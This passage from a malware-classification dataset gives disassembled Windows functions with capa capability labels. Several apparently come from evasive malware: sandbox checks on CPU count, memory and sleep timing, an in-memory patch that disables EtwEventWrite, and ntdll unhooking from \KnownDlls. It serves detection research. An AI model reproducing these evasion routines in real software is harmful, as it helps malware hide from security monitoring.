joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18003e040
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov rax, qword [rsp + 0x80]
mov qword [rsp + 0x40], rax
cmp qword [rsp + 0x80], 0
jne 0x18003e06d
xor ecx, ecx
call sub.KERNEL32.dll_GetModuleHandleW
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x18003e08d
mov ecx, 0xc1
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x18003e206
mov rax, qword [rsp + 0x40]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp dword [rax], 0x4550
je 0x18003e0c4
mov ecx, 0xbf
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x18003e206
mov rax, qword [rsp + 0x38]
movzx eax, word [rax + 0x14]
test eax, eax
jne 0x18003e0e2
mov ecx, 0xc0
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x18003e206
mov rax, qword [rsp + 0x38]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x38]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x20], 0
jmp 0x18003e10e
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x38]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x20], eax
jae 0x18003e1ea
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
lea rdx, str..detour
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x18003e1e5
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x48]
cmp dword [rcx + rax + 0xc], 0
je 0x18003e173
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x48]
cmp dword [rcx + rax + 0x10], 0
jne 0x18003e175
jmp 0x18003e1ea
mov eax, dword [rsp + 0x20]
imul rax, rax, 0x28
mov rcx, qword [rsp + 0x48]
mov eax, dword [rcx + rax + 0xc]
mov rcx, qword [rsp + 0x40]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov eax, dword [rax]
cmp rax, 0x40
jb 0x18003e1bb
mov rax, qword [rsp + 0x28]
cmp dword [rax + 4], 0x727444
je 0x18003e1bd
jmp 0x18003e1ea
mov rax, qword [rsp + 0x28]
cmp dword [rax + 8], 0
jne 0x18003e1d7
mov rax, qword [rsp + 0x28]
mov rcx, qword [rsp + 0x28]
mov ecx, dword [rcx]
mov dword [rax + 8], ecx
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
jmp 0x18003e206
jmp 0x18003e104
mov ecx, 0xc0
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x18003e206
add rsp, 0x78
ret
Function at 0x18003e210
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov rax, qword [rsp + 0x90]
add rax, 0x10000
mov qword [rsp + 0x30], rax
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x48]
call sub.VCRUNTIME140.dll_memset
jmp 0x18003e258
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x48]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov r8d, 0x30
lea rdx, [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
ja 0x18003e277
jmp 0x18003e31b
cmp dword [rsp + 0x68], 0x1000
jne 0x18003e29c
mov eax, dword [rsp + 0x6c]
and eax, 0xff
cmp eax, 1
je 0x18003e29c
mov eax, dword [rsp + 0x6c]
and eax, 0x100
test eax, eax
je 0x18003e29e
jmp 0x18003e243
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
jne 0x18003e2d4
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x3c]
cmp rax, qword [rsp + 0x60]
ja 0x18003e2d4
mov rax, qword [rsp + 0x20]
mov eax, dword [rax + 0x3c]
cmp rax, 0x40
jae 0x18003e2d9
jmp 0x18003e243
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp dword [rax], 0x4550
jne 0x18003e243
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x20]
jmp 0x18003e31d
xor eax, eax
add rsp, 0x88
ret

Function at 0x18003e570
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x78
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memset
nop
mov r8d, 0x30
lea rdx, [rsp + 0x40]
mov rcx, qword [rsp + 0x80]
call sub.KERNEL32.dll_VirtualQuery
test rax, rax
ja 0x18003e5ba
mov ecx, 0xc1
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x18003e682
cmp dword [rsp + 0x60], 0x1000
jne 0x18003e5df
mov eax, dword [rsp + 0x64]
and eax, 0xff
cmp eax, 1
je 0x18003e5df
mov eax, dword [rsp + 0x64]
and eax, 0x100
test eax, eax
je 0x18003e5f0
mov ecx, 0xc1
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x18003e682
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x18003e617
mov ecx, 0xc1
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x18003e682
mov rax, qword [rsp + 0x28]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp dword [rax], 0x4550
je 0x18003e64b
mov ecx, 0xbf
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x18003e682
mov rax, qword [rsp + 0x30]
movzx eax, word [rax + 0x14]
test eax, eax
jne 0x18003e666
mov ecx, 0xc0
call sub.KERNEL32.dll_SetLastError
xor eax, eax
jmp 0x18003e682
xor ecx, ecx
call sub.KERNEL32.dll_SetLastError
mov rax, qword [rsp + 0x28]
jmp 0x18003e682
add rsp, 0x78
ret
Function at 0x140008188
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
push r13
sub rsp, 0xb0
xor ebx, ebx
mov dword [rsp + 0x20], ebx
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov r12d, ebx
xor eax, eax
lock cmpxchg qword [0x14000d868], rdi
je 0x1400081e8
cmp rax, rdi
jne 0x1400081db
mov r12d, 1
jmp 0x1400081e8
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400081c1
mov eax, dword [0x14000d860]
cmp eax, 1
jne 0x1400081fd
lea ecx, [rax + 0x1e]
call fcn.140155000
jmp 0x140008264
mov eax, dword [0x14000d860]
cmp eax, ebx
jne 0x14000825a
mov dword [0x14000d860], 1
lea r13, [0x140001548]
lea rdi, [0x140001530]
mov qword [rsp + 0x30], rdi
mov eax, ebx
mov dword [rsp + 0x24], ebx
cmp rdi, r13
jae 0x14000824c
cmp eax, ebx
jne 0x14000824c
mov rcx, qword [rdi]
cmp rcx, rbx
je 0x140008241
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x14000822a
cmp eax, ebx
je 0x140008264
mov eax, 0xff
jmp 0x1400083ac
mov dword [0x14000b554], 1
mov eax, dword [0x14000d860]
cmp eax, 1
jne 0x14000828c
lea rdx, [0x140001528]
lea rcx, [0x1400014b8]
call sub.msvcrt.dll__initterm
mov dword [0x14000d860], 2
cmp r12d, ebx
jne 0x14000829b
mov rax, rbx
xchg qword [0x14000d868], rax
cmp qword [0x14000d870], rbx
je 0x1400082c3
lea rcx, [0x14000d870]
call fcn.14000862c
cmp eax, ebx
je 0x1400082c3
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x14000d870]
mov rcx, qword [sym.imp.msvcrt.dll__wcmdln]
cmp qword [rcx], rbx
jne 0x1400082d9
mov eax, 0xff
jmp 0x1400083ac
mov rcx, qword [rcx]
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
cmp word [rcx], 0x20
ja 0x14000835e
cmp word [rcx], bx
je 0x1400082f4
cmp edx, ebx
jne 0x14000835e
cmp word [rcx], bx
je 0x14000830a
cmp word [rcx], 0x20
ja 0x14000830a
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1400082f4
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.140003b3c
mov dword [0x14000b550], eax
cmp dword [0x14000b534], ebx
jne 0x140008348
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x14000b554], ebx
jne 0x14000835c
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x14000b550]
jmp 0x1400083ac
cmp word [rcx], 0x22
jne 0x140008371
mov eax, ebx
cmp edx, ebx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x1400082e5
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r12, qword [r11 + 0x20]
mov rsp, r11
pop r13
ret
sub rsp, 0x28
call fcn.1400087ec
add rsp, 0x28
jmp 0x140008188
Function at 0x1400ccbf0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.1400d3c40
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.1400d3c40
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]

Function at 0x1400ccc60
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x1400da0a4]
mov rbx, rcx
test esi, esi
jle 0x1400ccd90
mov rax, qword [0x1400da0a8]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x1400cccab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x1400ccd35
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x1400ccc90
mov rcx, rbx
call fcn.1400cd6b0
mov rdi, rax
test rax, rax
je 0x1400ccdb2
mov rax, qword [0x1400da0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400cd7f0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x1400da0a8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x1400ccd97
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x1400ccd2e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x1400ccd40
add dword [0x1400da0a4], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x1400da0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x1400ccd2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.1400ccbf0
nop dword [rax]
xor esi, esi
jmp 0x1400cccb8
mov rax, qword [0x1400da0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.1400ccbf0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.1400ccbf0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400cd320
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x1400da100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400da0e0]
test rbx, rbx
je 0x1400cd37c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x1400cd373
test rsi, rsi
je 0x1400cd373
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400cd358
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400cd6b0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400d7080]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400cd6d0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400cd6d8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400cd6d0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400cd72d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400cd724
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400cd6d0
add rax, 0x28
cmp rax, r9
jne 0x1400cd710
xor eax, eax
ret

Function at 0x1400cd730
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400d7080]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400cd74f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400cd758
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400cd74f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400cd7f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400d7080]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400cd80f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400cd818
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001591
Capabilities:
Get memory capacity
Get system information on windows

Disassembly:
push rbp
sub rsp, 0x100
lea rbp, [rsp + 0x80]
lea rax, [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0x30]
cmp eax, 1
ja 0x1400015c3
mov eax, 1
jmp 0x140001682
mov dword [rbp - 0x30], 0x40
lea rax, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
call rax
mov rdx, qword [rbp - 0x28]
mov eax, 0x80000000
cmp rdx, rax
jae 0x1400015f2
mov eax, 1
jmp 0x140001682
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov qword [rbp + 0x78], rax
mov qword [rbp - 0x38], 0xffffffffdc3cba00
lea rax, [rbp + 0x50]
lea rdx, [rbp + 0x4f]
mov rcx, rax
call fcn.1400014b0
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x58]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
mov rax, qword [rbp + 0x5a]
mov rdx, qword [rbp + 0x62]
mov qword [rbp - 0x56], rax
mov qword [rbp - 0x4e], rdx
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.14001e620
mov r8, qword [0x1401050b8]
lea rax, [rbp - 0x38]
mov rdx, rax
mov ecx, 0
call r8
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount64]
call rax
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x70]
sub rax, qword [rbp + 0x78]
cmp rax, 0xea5f
ja 0x14000167d
mov eax, 1
jmp 0x140001682
mov eax, 0
add rsp, 0x100
pop rbp
ret
Function at 0x140001a61
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rbx
sub rsp, 0x118
lea rbp, [rsp + 0x80]
mov dword [rbp - 0x18], 0
movabs rax, 0x746e657645777445
mov qword [rbp - 0x26], rax
movabs rax, 0x6574697257746e
mov qword [rbp - 0x20], rax
mov dword [rbp - 0x2c], 0x6c64746e
mov word [rbp - 0x28], 0x6c
mov dword [rbp - 0x30], 0xc3c03348
lea rax, [rbp - 0x2c]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp - 0x26]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x88], rax
cmp qword [rbp + 0x88], 0
jne 0x140001b38
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp - 0x10]
lea rdx, [rbp - 0x11]
mov rcx, rax
call fcn.14000168c
mov rax, qword [rbp - 0x10]
mov rdx, qword [rbp - 8]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
mov rax, qword [rbp]
mov rdx, qword [rbp + 8]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov rax, qword [rbp + 0xf]
mov qword [rbp - 0x41], rax
lea rax, [rbp - 0x60]
mov edx, ebx
mov rcx, rax
call fcn.14001e8d0
mov eax, 0
jmp 0x140001c6a
lea rdx, [rbp - 0x18]
mov rax, qword [rbp + 0x88]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jne 0x140001bc5
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp + 0x20]
lea rdx, [rbp + 0x1f]
mov rcx, rax
call fcn.1400017d6
mov rax, qword [rbp + 0x20]
mov rdx, qword [rbp + 0x28]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
mov rax, qword [rbp + 0x30]
mov rdx, qword [rbp + 0x38]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov eax, dword [rbp + 0x40]
mov dword [rbp - 0x40], eax
lea rax, [rbp - 0x60]
mov edx, ebx
mov rcx, rax
call fcn.14001e7e0
mov eax, 0
jmp 0x140001c6a
mov edx, dword [rbp - 0x30]
mov rax, qword [rbp + 0x88]
mov dword [rax], edx
mov edx, dword [rbp - 0x18]
lea rcx, [rbp - 0x18]
mov rax, qword [rbp + 0x88]
mov r9, rcx
mov r8d, edx
mov edx, 0x1000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp + 0x80], eax
cmp dword [rbp + 0x80], 0
jne 0x140001c65
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp + 0x50]
lea rdx, [rbp + 0x4f]
mov rcx, rax
call fcn.140001908
mov rax, qword [rbp + 0x50]
mov rdx, qword [rbp + 0x58]
mov qword [rbp - 0x60], rax
mov qword [rbp - 0x58], rdx
mov rax, qword [rbp + 0x60]
mov rdx, qword [rbp + 0x68]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], rdx
mov rax, qword [rbp + 0x69]
mov rdx, qword [rbp + 0x71]
mov qword [rbp - 0x47], rax
mov qword [rbp - 0x3f], rdx
lea rax, [rbp - 0x60]
mov edx, ebx
mov rcx, rax
call fcn.14001eab0
mov eax, 0
jmp 0x140001c6a
mov eax, 1
add rsp, 0x118
pop rbx
pop rbp
ret
Function at 0x140001f17
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
sub rsp, 0x198
lea rbp, [rsp + 0x80]
mov word [rbp + 0x50], 0x5c
mov word [rbp + 0x52], 0x4b
mov word [rbp + 0x54], 0x6e
mov word [rbp + 0x56], 0x6f
mov word [rbp + 0x58], 0x77
mov word [rbp + 0x5a], 0x6e
mov word [rbp + 0x5c], 0x44
mov word [rbp + 0x5e], 0x6c
mov word [rbp + 0x60], 0x6c
mov word [rbp + 0x62], 0x73
mov word [rbp + 0x64], 0x5c
mov word [rbp + 0x66], 0x6e
mov word [rbp + 0x68], 0x74
mov word [rbp + 0x6a], 0x64
mov word [rbp + 0x6c], 0x6c
mov word [rbp + 0x6e], 0x6c
mov word [rbp + 0x70], 0x2e
mov word [rbp + 0x72], 0x64
mov word [rbp + 0x74], 0x6c
mov word [rbp + 0x76], 0x6c
mov word [rbp + 0x78], 0
lea rdx, [rbp + 0x50]
lea rax, [rbp + 0x80]
mov rcx, rax
call sub.ntdll.dll_RtlInitUnicodeString
mov dword [rbp + 0x20], 0x30
mov qword [rbp + 0x28], 0
mov dword [rbp + 0x38], 0x40
lea rax, [rbp + 0x80]
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x40], 0
mov qword [rbp + 0x48], 0
mov r9, qword [0x140105040]
lea rdx, [rbp + 0x20]
lea rax, [rbp + 0x18]
mov r8, rdx
mov edx, 0xc
mov rcx, rax
call r9
mov dword [rbp + 0x10c], eax
cmp dword [rbp + 0x10c], 0
jns 0x140002086
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp + 0xa0]
lea rdx, [rbp + 0x9f]
mov rcx, rax
call fcn.140001c74
mov rax, qword [rbp + 0xa0]
mov rdx, qword [rbp + 0xa8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0xb0]
mov rdx, qword [rbp + 0xb8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x30]
mov edx, ebx
mov rcx, rax
call fcn.14001e9c0
mov eax, 0
jmp 0x140002179
mov qword [rbp + 0x10], 0
mov qword [rbp + 8], 0
mov qword [rbp + 0x100], 0
mov r10, qword [0x140105038]
mov rax, qword [rbp + 0x18]
lea rcx, [rbp + 0x10]
mov dword [rsp + 0x48], 2
mov dword [rsp + 0x40], 0
mov dword [rsp + 0x38], 1
lea rdx, [rbp + 8]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rcx
mov rdx, 0xffffffffffffffff
mov rcx, rax
call r10
mov dword [rbp + 0xfc], eax
cmp dword [rbp + 0xfc], 0
jns 0x140002175
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
mov ebx, eax
lea rax, [rbp + 0xd0]
lea rdx, [rbp + 0xcf]
mov rcx, rax
call fcn.140001dc6
mov rax, qword [rbp + 0xd0]
mov rdx, qword [rbp + 0xd8]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
mov rax, qword [rbp + 0xe0]
mov rdx, qword [rbp + 0xe8]
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp + 0xf0]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x30]
mov edx, ebx
mov rcx, rax
call fcn.14001e9c0
mov eax, 0
jmp 0x140002179
mov rax, qword [rbp + 0x10]
add rsp, 0x198
pop rbx
pop rbp
ret
Function at 0x140002235
Capabilities:
Allocate or change rwx memory
Enumerate pe sections
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x90
mov qword [rbp + 0x10], rcx
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp - 8], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x1400022bb
lea rax, [rbp - 0x40]
lea rdx, [rbp - 0x41]
mov rcx, rax
call fcn.140002184
mov rax, qword [rbp - 0x40]
mov rdx, qword [rbp - 0x38]
mov qword [rbp - 0x70], rax
mov qword [rbp - 0x68], rdx
mov eax, dword [rbp - 0x30]
mov dword [rbp - 0x60], eax
lea rax, [rbp - 0x70]
mov rcx, rax
call fcn.14001e2a0
mov eax, 0
jmp 0x1400023e1
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 0x20], rax
mov dword [rbp - 0x48], 0
mov word [rbp - 0x22], 0
nop
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
cmp word [rbp - 0x22], ax
jae 0x1400023e1
mov dword [rbp - 0x4e], 0x7865742e
mov word [rbp - 0x4a], 0x74
mov rax, qword [rbp - 0x20]
lea rdx, [rbp - 0x4e]
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x1400023da
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 8]
add rax, rcx
mov rcx, rax
lea rax, [rbp - 0x48]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp - 0x28], eax
cmp dword [rbp - 0x28], 0
jne 0x14000235f
mov eax, 0
jmp 0x1400023e1
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 8]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp - 0x48]
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp - 8]
add rax, rcx
mov rcx, rax
lea rax, [rbp - 0x48]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov dword [rbp - 0x2c], eax
cmp dword [rbp - 0x2c], 0
jne 0x1400023da
mov eax, 0
jmp 0x1400023e1
mov eax, 1
jmp 0x1400023e1
add rsp, 0x90
pop rbp
ret
Function at 0x140002557
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x1b0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x140], rcx
mov qword [rbp + 0x120], 0
mov dword [rbp - 0x10], 0x130
mov edx, 0
mov ecx, 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov qword [rbp + 0x128], rax
lea rdx, [rbp - 0x10]
mov rax, qword [rbp + 0x128]
mov rcx, rax
call sub.KERNEL32.dll_Process32First
cmp eax, 1
sete al
test al, al
je 0x1400026f4
jmp 0x1400026d3
mov rax, qword [rbp + 0x140]
lea rdx, [rbp - 0x10]
lea rcx, [rdx + 0x2c]
mov rdx, rax
call sub.msvcrt.dll__stricmp
test eax, eax
sete al
test al, al
je 0x1400026d3
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov ecx, eax
lea rax, [rbp - 0x14]
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
call rax
mov eax, dword [rbp - 8]
mov ecx, eax
call fcn.140002431
mov edx, eax
mov eax, dword [rbp - 0x14]
cmp edx, eax
sete al
